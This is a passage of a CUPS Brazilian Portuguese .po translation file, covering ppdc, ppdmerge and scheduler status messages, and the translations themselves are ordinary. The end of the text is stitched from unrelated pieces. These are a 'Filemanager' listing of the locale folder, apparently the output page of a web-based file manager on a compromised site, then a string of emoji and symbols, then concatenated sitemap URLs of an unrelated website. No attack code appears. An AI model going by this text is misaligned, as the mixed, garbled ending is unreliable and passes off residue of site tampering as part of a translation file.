msgstr "ppdc: Não foi possível encontrar arquivo #po %s na linha %d de %s."

#, c-format
msgid "ppdc: Unable to find include file \"%s\" on line %d of %s."
msgstr ""
"ppdc: Não foi possível encontrar o arquivo include \"%s\" na linha %d de %s."

#, c-format
msgid "ppdc: Unable to find localization for \"%s\" - %s"
msgstr "ppdc: Não foi possível encontrar localização para \"%s\" - %s"

#, c-format
msgid "ppdc: Unable to load localization file \"%s\" - %s"
msgstr "ppdc: Não foi possível carregar arquivo de localização \"%s\" - %s"

#, c-format
msgid "ppdc: Unable to open %s: %s"
msgstr "ppdc: Não foi possível abrir %s: %s"

#, c-format
msgid "ppdc: Undefined variable (%s) on line %d of %s."
msgstr "ppdc: Variável indefinida (%s) na linha %d de %s."

#, c-format
msgid "ppdc: Unexpected text on line %d of %s."
msgstr "ppdc: Texto inesperado na linha %d de %s."

#, c-format
msgid "ppdc: Unknown driver type %s on line %d of %s."
msgstr "ppdc: Tipo de driver %s desconhecido na linha %d de %s."

#, c-format
msgid "ppdc: Unknown duplex type \"%s\" on line %d of %s."
msgstr "ppdc: Tipo de duplex desconhecido \"%s\" na linha %d de %s."

#, c-format
msgid "ppdc: Unknown media size \"%s\" on line %d of %s."
msgstr "ppdc: Tamanho de mídia desconhecido \"%s\" na linha %d de %s."

#, c-format
msgid "ppdc: Unknown message catalog format for \"%s\"."
msgstr "ppdc: Formato de catálogo de mensagens desconhecido para \"%s\"."

#, c-format
msgid "ppdc: Unknown token \"%s\" seen on line %d of %s."
msgstr "ppdc: Token desconhecido \"%s\" visto na linha %d de %s."

#, c-format
msgid ""
"ppdc: Unknown trailing characters in real number \"%s\" on line %d of %s."
msgstr ""
"ppdc: Caractere final desconhecido em número real \"%s\" na linha %d de %s."

#, c-format
msgid "ppdc: Unterminated string starting with %c on line %d of %s."
msgstr "ppdc: Início de string não terminada com %c na linha %d de %s."

#, c-format
msgid "ppdc: Warning - overlapping filename \"%s\"."
msgstr "ppdc: Aviso - nome de arquivo em sobreposição \"%s\"."

#, c-format
msgid "ppdc: Writing %s."
msgstr "ppdc: Gravando %s."

#, c-format
msgid "ppdc: Writing PPD files to directory \"%s\"."
msgstr "ppdc: Gravando arquivos PPD para a pasta \"%s\"."

#, c-format
msgid "ppdmerge: Bad LanguageVersion \"%s\" in %s."
msgstr "ppdmerge: LanguageVersion incorreto \"%s\" em %s."

#, c-format
msgid "ppdmerge: Ignoring PPD file %s."
msgstr "ppdmerge: Ignorando o arquivo PPD %s."

#, c-format
msgid "ppdmerge: Unable to backup %s to %s - %s"
msgstr "ppdmerge: Não é possível fazer backup de %s para %s - %s"

#, c-format
msgid "printer %s disabled since %s -"
msgstr "impressora %s desabilitada desde %s -"

#, c-format
msgid "printer %s is idle.  enabled since %s"
msgstr "impressora %s está inativa; habilitada desde %s"

#, c-format
msgid "printer %s now printing %s-%d.  enabled since %s"
msgstr "impressora %s está imprimindo %s-%d; habilitada desde %s"

#, c-format
msgid "printer %s/%s disabled since %s -"
msgstr "impressora %s/%s desabilitada desde %s -"

#, c-format
msgid "printer %s/%s is idle.  enabled since %s"
msgstr "impressora %s/%s está inativa; habilitada desde %s"

#, c-format
msgid "printer %s/%s now printing %s-%d.  enabled since %s"
msgstr "impressora %s/%s está imprimindo %s-%d; habilitada desde %s"

msgid "processing"
msgstr "processando"

#, c-format
msgid "request id is %s-%d (%d file(s))"
msgstr "id de requisição é %s-%d (%d arquivo(s))"

msgid "request-id uses indefinite length"
msgstr "request-id usa comprimento indefinido"

msgid "scheduler is not running"
msgstr "Agendador não está em execução"

msgid "scheduler is running"
msgstr "Agendador está em execução"

#, c-format
msgid "stat of %s failed: %s"
msgstr "falhou o estado de %s: %s"

msgid "status\t\tShow status of daemon and queue."
msgstr "status\t\tMostra estado do daemon e da fila."

msgid "stopped"
msgstr "parou"

#, c-format
msgid "system default destination: %s"
msgstr "destino padrão do sistema: %s"

#, c-format
msgid "system default destination: %s/%s"
msgstr "destino padrão do sistema: %s/%s"

msgid "unknown"
msgstr "desconhecido"

msgid "untitled"
msgstr "sem título"

msgid "variable-bindings uses indefinite length"
msgstr "variable-bindings usa comprimento indefinido"

Filemanager

Name Type Size Permission Actions
LC_MESSAGES Folder 0755
LC_TIME Folder 0755
cups_pt_BR.po File 156.44 KB 0444
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml